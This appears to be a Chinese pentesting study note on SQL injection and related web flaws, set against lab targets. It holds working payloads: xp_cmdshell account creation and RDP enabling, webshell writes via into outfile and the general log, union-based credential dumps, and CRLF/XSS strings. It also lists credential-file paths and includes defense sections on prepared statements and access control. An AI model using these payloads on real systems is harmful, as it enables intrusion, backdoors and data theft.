and 1=1: 这个条件始终是为真的, 也就是说, 存在SQL注入的话, 这个and 1=1的返回结果必定是和正常页面时是完全一致的
and 1=2: 返回为假, 会强行吧整个查询条件建立成假. 导致查询无数据, 因此页面内容会和正常页面不同
payload
http://127.0.0.1/sqli/Less-1/?id=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 不正常
则存在漏洞
http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (1) 正常
http://127.0.0.1/sqli/Less-1/?id=1 and mod(8,7) in (2) 不正常
则存在漏洞
or
介绍
和and同样为表示为链接条件, 代表为或, or左右两边, 有一个为true, 整体结果便为true
判断逻辑
or是或条件, or两边条件只要有一个条件为真, 那么就整体的结果就是为真
payload
http://127.0.0.1/sqli/Less-1/?id=1 正常,原url
按照之前and的测试方法,修改 or 之后的数据显然无法测试,因为不管怎么修改最终结果都是 true ,无法造成查询结果的不同
http://127.0.0.1/sqli/Less-1/?id=1 or 1=1 正常
http://127.0.0.1/sqli/Less-1/?id=1 or 1=2 正常
所以这里需要修改一下思路,对 or 前后的数据都进行修改,将id值改为-1或者一个数据库中不存在的数据, id字段一般都是设置为主键且自增长, 都是从1开始, 采用个负数测试是最常见的
http://127.0.0.1/sqli/Less-1/?id=-1 or 1 正常, 会返回数据库中的第一条数据(后端SQL中用了limit控制输出行数, 如果没采用limit, 会遍历整个表里得数据)
http://127.0.0.1/sqli/Less-1/?id=-1 or 1=2 无结果返回
引号报错
介绍
在SQL语句中, 用户提交的参数有数字型和字符型, 不管是数字还是字符, 引号都是一个可以快速破坏SQL语句语法结构的存在.
判断逻辑
在一个正常的SQL语句中, 接收前端传过来的参数, 代入到数据库中查询时, 一般要么像是id值这样的数字型, 或者是搜索关键字功能的字符型, 字符串都是被引号包裹的, 单引号或者双引号, 在注入点后面加上个引号, 就能快速破坏SQL结构, 导致SQL执行报错.
一般推荐单双引号一起加上去, 否则对方单引号的话, 双引号会被当作普通的字符串带进去执行, 而不会报错, 反之同理
payload
http://127.0.0.1/sqli/Less-1/?id=1'" 不正常
延时判断
简介
sleep(),Benchmark() 这些语句可以让数据库延迟执行, 通过页面的响应时间来判断是否存在SQL注入
判断逻辑
在一个SQL注入中: select * from users where id = 1 and sleep(5),添加上该payload, 可以让页面延迟五秒响应, 在结合页面正常的响应时间, 来判断构造的SQL是否被执行, sleep测试方法可以用于全部的SQL注入测试中. 只要页面有延迟, 那就表示存在SQL注入. 非常好的快速测试是否存在SQL注入的方法.
并且, sleep()的返回值是0 因此在延迟执行完毕后, and sleep()等同于 and 0 强行吧条件变成假, 因此, 在测试insert update, delete时, 也不用担心数据被删除修改的风险.
payload
delete from users where id = 1 and sleep(5) 比正常晚5s # 当延迟执行完毕后.等同于: delete from users where id = 1 and 0, 因此不会删除数据. update insert同理.
运算判断
简介
当参数是数字型的时候, 可以尝试用加减法来判断SQL注入
判断逻辑
在注入的参数是一个数字的时候, 可以尝试采用加减法的方式来判断, 让id值进行运算发生变化, 也是判断是否被代入执行的一种方式, 在MySQL中, 字符也是可以进行加法运算的, 会从字符串的左边开始一直取到不是数字位置: "123aa111", 运算时是123
payload
http://127.0.0.1/sqli/Less-1/?id=1 正常,查询结果为 1
http://127.0.0.1/sqli/Less-1/?id=1+1 查询结果为 2 则不正常
http://127.0.0.1/sqli/Less-1/?id=1'+'1 查询结果为2 则不正常
加引号是因为SQL语句的 id 也可以是字符型,所以这里的语句为 select * from user where id = '1'+'1' 这里的第一个和最后一个单引号是程序自带
注入分类
按参数类型分
数字型
1
字符型
ran
搜索型
$ran$
特殊型
由于SQL语句拼接方式不同,需要闭合原有语句
按提交方式分
Get 型
地址栏可以看见参数
Post 型
通过Burp抓包
Cookie 型
通过Burp抓包
Http Header头提交
按数据获取方式分
显注
代入到数据库中执行的SQL, 会把执行结果直接显示到前端页面, 例如联合查询/报错注入等
盲注
不会直接在前端显示数据库执行结果, 需要其他语句结合zh执行效果来判定, 例如布尔型盲注/时间延迟等
两者的相同点
类型问题: 注入的参数可能是数字型, 字符型
注入判断: 判断是否存在注入的方式
闭合问题: 注入的参数可能被括号包裹, 闭合的方式是一样的
请求方式: GET/POST, 只要存在注入, 便不会影响注入结果
出现位置: 可注入的参数可能会是在请求的数据中, 请求头中, 如Cookie, ua头等
注入流程: 获取到库名->表名->字段名->具体数据.
两者的不同点
在获取相关数据时, 显注可以很直接的吧SQL执行结果返回到前端来, 而盲注, 需要对数据进行逐一猜解, 才能获取到相关数据, 这个过程需要配合if length等等函数关键字
注入可能存在的地方
与数据库交互的相关页面
带参数的地方
ASP注入
http://www.xxxx.com/xxx.asp?id=xx
php注入
http://www.xxxx.com/xxx.php?id=xx
jsp注入
http://www.xxxx.com/xxx.jsp?id=xx
登录的地方、更新的地方、注册的地方、留言板、查询、删除等
Http Header注入
把包头保存在数据库的话也可能存在注入漏洞
Cookie注入
数据参数写入到Cookies参数里面
可能出现注入的地方: http头、cookies、referee、user_agent、post、提交数据包的地方等
注入攻击的类型
union注入
union 操作符一般与order by 语句配合使用
information_schema注入
information_schema数据库是mysql5.0以上版本自带的数据库,其中包含着关于MySQL服务器所维护的所有其他数据库的信息
基于函数报错注入
updatexml()
载荷注入
insert注入
update注入
delete注入
extractvalue()
floor()
盲注
基于布尔型SQL盲注
select ascii (substr(database(),1,1))>xx;
布尔型盲注的原理是通过对比猜测的字符的ASC码是否与真实的字符相同,然后通过后边的and 1=1,来使其猜对时返回 true,猜错时返回false.
基于时间型SQL盲注
SQLserver数据库
WAITFOR DELAY '0:0:5'--
writeup()
PostgreSQL
PG_SLEEP(5)
generate_series(1,1000000)
MySQL
vince' and sleep(x)#
Mysql数据库
Benchmark()
可以同一个函数执行若干次,使得结果的返回的时间比平均要长。通过时间长短的变化,可以判断出注入语句是否只形成各
benchmark(10000000,encode('hello','goodbye')) 将encode()执行了10000000次,耗时3.03秒
堆叠注入
简述
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句
堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息
select * from studnet;select current_user(); 查询的同时查看当前登录用户是谁
触发条件
1. 存在SQL注入
2. 未对;做过滤
3. 目标中间层查询数据库信息是可以执行多条语句
如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句
宽字节注入
利用程序对引号等非法字符的转义功能(增加\),在引号前增加其他字符,使其与 \(0x5c)组成新的字符,导致转义失败
要求对方数据库使用了"宽字符集"
比如MySQL使用了GBK编码时,0xbf27(0xbf = ¿ 0x27 = ')和0xbf5c(0x5c = \)都会被认为是一个字符(双字节字符)。 而在进入数据库前,在Web语言中并没有考虑到双字节字符的问题,双字节字符会被认为是两个字符。 如果使用了PHP中的addslashes()函数,或者当magic_quotes_gpc开启时会在特殊字符前增加一个转义字符"\"。 因此当攻击者输入 0xbf27 or 1=1(即 ¿' or 1=1 )时,经过转义后,会变成 0xbf5c27 or 1=1,其中的5c本来是用于转义0x27的,但由于在数据库中 0xbf5c 是另一个字符,所以原本存在的转义符 \ 被吞掉了,导致SQL注入
PHP的addslashes()函数会转义 ' " \ NULL 这四个字符 magic_quotes_gpc 如果开启了,它会自动对从客户端提交的数据进行转义,以防止SQL注入等安全问题。但是,这个选项在PHP 5.4及以上版本中已经被废弃了,因为它会导致一些不必要的问题。因此,建议在新的PHP项目中不要使用这个选项。
解决方法
需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置成 UTF-8 是一个很好的方法 如果由于种种原因无法统一字符编码,则需要单独实现一个用于过滤或转义的安全函数
各种数据库注入
Access数据库注入
猜解数据库表名
and exists(select * from users)
猜解数据库表名里面的字段
and exists(select password from administrator)
猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by
union select
偏移注入
跨库查询
MsSQL数据库注入
sa
第一步:检查是否是mssql数据库
and exists (select * from%20sysobjects)
第二步:查询当前数据库系统的用户名
and system_user=0
第三步:检查注入点是否为sa权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢复xp_cmdshell可以用 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
第五步:添加帐号
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
第六步:开3389
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
dbowner
第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));-- 判断当前数据库用户是否为db_owner权限
第二步:找出网站路径
1、通过报 错或baidu、google等查找
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
master..xp_cmd
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
public
第一步:获取当前网站数据库名称
and db_name()=0--
第二步:获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
having 1=1--
将爆出的表名或字段名,代入下一条语句的admin.id位置,继续爆
group by admin.id having 1=1--
将爆出的表名或字段名,代入下一条语句的admin.id位置,继续爆
group by admin.id,admin.name having 1=1--
第五步:获取字段内容
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
MySQL数据库注入
mysql4与5区别
MySQL 4版本
MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。 使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。
MySQL 5版本
MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其中存放着其维护的所有数据库的信息
schemata表
提供了当前MySQL中的所有数据库信息
tables表
提供了关于数据库中的表的信息
columns表
提供了所有表中的列信息(字段名)
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。 通过dumpfile/outfile函数导出获取WebShell。
MySQL >5.6版本
多了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录
mysql用户名密码存储位置
密码存放在mysql数据库的user表 采用md5加密 最高权限用户是root
mysql注入语句
检查注入点
and 1=1 或 and 1=2
'
查看数据库用户名和版本、库名(dvwa)
猜出字段数
' order by 1,2--+&Submit=Submit#
联合查找
' union select user(),version()--+&Submit=Submit#
获取Mysql所有库
' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit
获取表名(guestbook,users)
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit 获取所有user表里面的字段 table_name=0x7573657273 不转成十六进制也可以table_name="users"
获取所有user表里面的字段
' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
table_name=0x7573657273 不转成十六进制也可以 table_name="users"
获取所有字段内容
' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
获取Webshell
对服务器文件进行读写操作(前提条件)
需要知道远程目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv
相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件,直接在其中添加secure_file_priv=""即可)
获取web路径的方法
' union select 1,load_file( 0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制 c:\windows\system32\inetsrv\MetaBase.xml= 0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C
常见的Windows配置文件
php配置信息
c:/windows/php.ini
MYSQL配置文件 记录管理员登陆过的MYSQL用户名和密码
c:/windows/my.ini
存储了mysql.user表中的数据库连接密码
c:\mysql\data\mysql\user.MYD
查看IIS的虚拟主机配置
c:\windows\system32\inetsrv\MetaBase.xml
存储了WINDOWS系统初次安装的密码
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam
常见的Linux配置文件
apache2缺省配置文件
/usr/local/app/apache2/conf/httpd.conf
虚拟网站设置
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
PHP相关设置
/usr/local/app/php5/lib/php.ini
从中得到防火墙规则策略
/etc/sysconfig/iptables
apache配置文件
/etc/httpd/conf/httpd.conf
同步程序配置文件
/etc/rsyncd.conf
mysql的配置文件
/etc/my.cnf
系统版本
/etc/redhat-release
针对3.0.22的RESIN配置文件查看
/usr/local/resin-3.0.22/conf/resin.conf
服务器读取文件
' union select 1,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
union select 搭配 into outfile
' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
lines terminated by
lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.
lines starting getshell
lines starting getshell该语句为设置每行开头的字符
payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+
fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"
payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+
COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"
payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+
数据表getshell
需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。
payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+
日志getshell
1. 开启全局日志配置
payload:?id=1';set global general_log = on;--+
2. 设置日志路径(webshell路径)
id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+
3. 写入一句话木马
id=1';select '<?php eval("$_POST[2]")?>';--+
注入防御
代码层
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法
所有的查询语句都使用数据库提供的参数化查询接口(比如java的 preparedStatement ) 参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。但需要注意二次注入问题.
确认每种数据的类型,比如数字型的数据就必须是数字,在后端层面可以对用户输入的数据进行int强转, 舍弃其他除数字以外的部分, 数据库中的存储字段必须对应为 int 型。
据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。宽字节注入.
严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
通过WAF设备启用防SQL Inject策略
数据库权限管理
使用最小权限原则
避免Web应用直接使用root、dbowner 等高权限账户直接连接数据库
如果有多个不同的应用在使用同一个数据库,也应该为每个应用分配不同的账户
Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限
PDO预处理或预编译SQL语句
PDO预处理
没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。 但如果进行了PDO预处理的SQL,会让MySQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接SQL语句传进去,从而防止了SQL注入
预编译
简介预编译的由来
由于数据库在接收到SQL语句后,会对其进行 词法和语义解析、优化SQL语句、制定执行计划,这些都要花费一些时间。而且一条SQL语句经常会被反复使用(由于个别值得不同,比如query的where子句值不同,update的set子句值不同,Insert的values值不同),所以就有了预编译。 预编译就是将这类语句中的值用占位符"?"替代,一次编译多次运行。 预编译的语句被DB的编译器编译后的执行代码缓存下来,这样下次调用相同的预编译的语句,只需要参数直接传入编译过得语句执行代码中(相当于一个函数)就会得到执行,而不需要再次编译。 并不是所有编译的语句都一定会被缓存,数据库本身会有一种策略去决定(内部机制)
预编译实现方法
预编译是通过PreparedStatement和占位符来实现的
预编译的作用
预编译阶段可以优化 sql 的执行
预编译之后的 sql 多数情况下可以直接执行,DBMS 不需要再次编译,越复杂的sql,编译的复杂度将越大,预编译阶段可以合并多次操作为一个操作。可以提升性能
防止SQL注入
使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了。
开启预编译
数据库是否默认开启预编译和JDBC版本有关
也可以配置jdbc链接时强制开启预编译和缓存:useServerPrepStmts和cachePrepStmts参数。 预编译和预编译缓存一定要同时开启或同时关闭。否则会影响执行效率
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true&cachePrepStmts=true");
mysql的预编译
开启了预编译缓存后,connection之间,预编译的结果是独立的,是无法共享的,一个connection无法得到另外一个connection的预编译缓存结果。
经过试验,mysql的预编译功能对性能影响不大,但在jdbc中使用PreparedStatement是必要的,可以有效地防止sql注入。
相同PreparedStatement的对象 ,可以不用开启预编译缓存。
代码实现
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true"); String sql = " select * from users where name = ? ;"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, "aaa"); ResultSet rs1 = stmt.executeQuery();//第一次执行 s1.close(); stmt.setString(1, "ddd"); ResultSet rs2 = stmt.executeQuery();//第二次执行 rs2.close(); stmt.close(); //查看mysql日志 1 Prepare select * from users where name = ? 1 Execute select * from users where name = 'aaa' 1 Execute select * from users where name = 'ddd'
要注意,使用PreparedStatement时必须使用占位符"?"; 因为预编译的原理就是在替代的参数两边默认加引号'',同时对用户非法输入的单引号加上反斜杠转义
example: String a = "a"; String b = "'b'"; String sql = " select * from users where name = ? ;"; 预编译后语句为 select * from user where name = 'a'; select * from user where name = '\'b\'',
伪静态与Cookies
Cookie注入
前提:接受用户参数的地方是request并且未对cookie进行防范
当我们打开get或post页面的时候,发现有注入防范,可以把get或post参数写入到cookie里面进行测试注入,有的时候程序未对cookie注入进行防范
伪静态
一般是中间件加载了伪静态插件代码,其实不是真正的静态页面
如:www.oldboyedu.com/zuixin_wenzhang/index/id/523 可写成 www.oldboyedu.com/zuixin_wenzhang/index?id=523
注入攻击概述
注入攻击的本质
把用户输入的数据当做代码执行
注入攻击的关键条件
1. 用户能够控制输入
2. 原本程序要执行的代码,拼接了用户输入的数据
在对抗注入攻击的时候,只要牢记"数据域代码分离原则",在拼凑发生的地方进行安全检查,就能避免此类安全问题
CRLF注入
简介
CRLF实际上是两个字符:CR(Carriage Return 也就是回车\r),LF(Line Feed 也就是换行 \n),\r\n这两个字符是用于表示换行的,其十六进制编码分别为 0x0d 、0x0a。
原理
由于在HTTP协议中,HTTP Header 与 HTTP Body 试算通过两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。所以如果用户可以控制HTTP消息头 的字符,注入一些恶意的换行,这样我们就可以注入一些会话Cookie或者HTML代码。
危害
Cookie会话固定漏洞
反射型XSS(可过waf)
挖掘方法
思路
漏洞注入点主要在重定向或者跳转的地方
CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中) 所以CRLF注入漏洞的挖掘和XSS差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。
步骤
1. 观察输出是否在返回头中,查看输入,可能是在URL值和参数、cookie头中。在过往的挖掘过程中,最常见的两种情况是使用输入参数Set-Cookie和302跳转location处。
2. 提交%0d%0a字符,验证服务器是否响应%0d%0a,若过滤可以通过双重编码绕过。
3. 漏洞利用,使杀伤最大化,将漏洞转化为HTML注入,XSS,缓存等。
前提条件
Set-Cookie中的内容用户可以控制
302跳转的Location地址用户可以控制
其他自定义Header用户可以控制
payload
探测漏洞
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
开放重定向
/www.google.com/%2f%2e%2e%0d%0aheader:header
XSS
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
XSS绕过
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e
Location
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
防御方法
要避免http响应截断,需要注意以下几点:
对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、’、"、CR、LF、等,限制用户输入CR和LF,或者对CR和LF正确编码后再输出,以防止注入自定义HTTP头。
创建安全字符白名单,只接收白名单中的字符出现再HTTP响应头文件中。
在将数据传送到http响应头之前,删除所有的换行符。
访问控制(越权)
简介
概念
"权限控制" 的问题都可以归结为"访问控制"的问题
"权限控制"或者说是"访问控制",广泛地存在于各个系统中。抽象地说,都是某个主体(subject)对某个客体(object)需要实施某种操作(operation),而系统对这种操作的限制就是权限控制
访问控制失效的危害
未授权
越权
常见访问控制模型
RBAC
访问控制实际上就是建立用户与权限之间的对应关系,现在应用广泛的一种方法就是"基于角色的访问控制"(Role-Based Access Control)
RBAC 实现会在系统中定义不同的角色,不同的角色拥有不同的权限,一个角色实际上就是一个权限的集合。 而系统的所有用户都会被分配到不同的角色中,一个用户可能拥有多个角色,角色之间有高低之分(权限高低)。 而系统验证权限时,只需要验证用户所属的角色,然后根据角色所拥有的权限进行授权即可
就是垂直权限管理,不同角色的权限有高低之分。高权限角色访问低权限资源往往是允许的,而低权限角色访问高权限资源则是禁止的。如果一个属于低权限角色的用户通过一些方法能够获得高权限角色的能力,就是越权
Spring Security
介绍
Spring Security 中的权限管理就是 RBAC 模型的一个实现。Spring Security 基于 Spring MVC 框架,它的前身是 Acegi,是一套比较全面的 Web 安全解决方案,在Spring Security 中提供了认证、授权等功能。
Spring Security 提供了一系列的 "Filter Chain" (过滤链),每个安全检查功能都会插入这个链条中。在Web系统集成时,开发者只需要将所有用户请求的 URL 都引入到 Filter Chain 即可
权限管理方式
Spring Security 提供了几种权限管理方式,一种是"基于URL的访问控制",一种是"基于method的访问控制",还支持"基于表达式的访问控制",他们都是 RBAC模型的实现,换言之,在Spring Security 中都是验证用户所属角色,以决定是否授权
基于URL的访问控制
Spring Security 使用配置文件对访问URL的用户权限进行设定,不同的URL对于能访问其的角色有着不同的要求
用法
<sec:http> <sec:interceppt-url pattern="/president_portal.do**" access="ROLE_PRESIDENT"> <sec:interceppt-url pattern="/manager_portal.do**" access="ROLE_MANAGER"> <sec:interceppt-url pattern="/**" access="ROLE_USER"> </sec:http>
基于 method 的访问控制
Spring Security 使用 Java 中的断言,分别在方法调用前和调用后实施访问控制
用法
在配置文件中配置使其生效
<global=method-security pre-post-annotations="enabled"/>
在代码中直接定义
@PreAuthorize("hashRole('ROLE_USER')") public void create(Contact contact)
复杂一点的
@PreAuthorize("hasRole('RULE_USER')") @PostFilter("hasPermission(filterObject,'read') or hasPermission(filterObject,'admin')") public List<Contact> getAll();
基于表达式的访问控制
使访问控制更加灵活
用法
<http use-expressions="true"> <intercept-url pattern="/admin*" acess="hasRole('admin') and hasIpAddress('192.168.1.0/24')"/> </http>
ACL
Access Control List,访问控制列表
ACL是最早也是最基本的一种访问控制机制,它的原理非常简单。每一项资源,都配有一个列表,这个列表记录的就是哪些用户可以对这项资源执行CRUD中的那些操作。当系统试图访问这项资源时,会首先检查这个列表中是否有关于当前用户的访问权限,从而确定当前用户可否执行相应的操作。总得来说,ACL是一种面向资源的访问控制模型,它的机制是围绕“资源”展开的。 由于ACL的简单性,使得它几乎不需要任何基础设施就可以完成访问控制。但同时它的缺点也是很明显的,由于需要维护大量的访问权限列表,ACL在性能上有明显的缺陷。另外,对于拥有大量用户与众多资源的应用,管理访问控制列表本身就变成非常繁重的工作。
未授权
简介
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露
常见漏洞
Redis 未授权
漏洞简介
redis是一个数据库,默认端口是6379,redis默认是没有密码验证的,可以免密码登录操作,攻击者可以通过操作redis进一步控制服务器
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令
漏洞检测
kali 安装 redis-cli 远程连接工具
wget http://download.redis.io/redis-stable.tar.gz tar -zxvf redis-stable.tar.gz cd redis-stable make cp src/redis-cli /usr/bin/ redis-cli -h
使用 redis-cli 命令直接远程免密登录 Redis 主机
redis-cli -h 目标主机IP
漏洞修复
禁止使用root权限启动redis服务;
对redis访问启动密码认证;
添加IP访问限制,并更改默认6379端口;
Weblogic 未授权访问
漏洞简介
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
漏洞检测
使用 vulhub 搭建漏洞演示环境
cd vulhub/weblogic/CVE-2020-14882 sudo docker-compose up -d
攻击者可以构造特殊请求的URL,即可未授权访问管理后台页面
http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码
漏洞修复
下载补丁程序并安装更新
越权
越权概述
定义
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称为越权操作。
成因
后台使用了不合理的权限校验规则导致的。
当用户对权限页面的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易现越权漏洞
漏洞常见位置
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的地方。
越权分类
平行越权
定义
一个用户可以操作其他同级用户的权限
A用户和B用户属于同一级别用户,但各自不能操作对方的个人信息,A用户如果越权操作B用户的个人信息的情况称为平行越权操作。
成因
没有对session进行校验
垂直越权
定义
一个用户可以操作比他级别更高的用户的权限
A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权
成因
没有对level进行校验
常见的逻辑漏洞
交易支付
修改金额为负数或0
修改支付状态
修改购买数量
支付附属值修改
订单替代支付
支付接口替换
重复支付
最小额支付及最大支付(金额溢出)
四舍五入导致支付漏洞
越权支付
并发数据包
盲盒类抽奖
直播打赏类
详见此处
密码修改
需要旧密码
验证不输入旧密码是否可以修改,或尝试抓包将提交旧密码的参数删除
验证旧密码输入处是否存在SQL注入
验证是否可以跳过输入旧密码的步骤直接修改新密码
不需要旧密码
验证假发密码提交的数据是否包含了用户身份信息
验证提交的用户身份信息被修改后是否可以成功修改
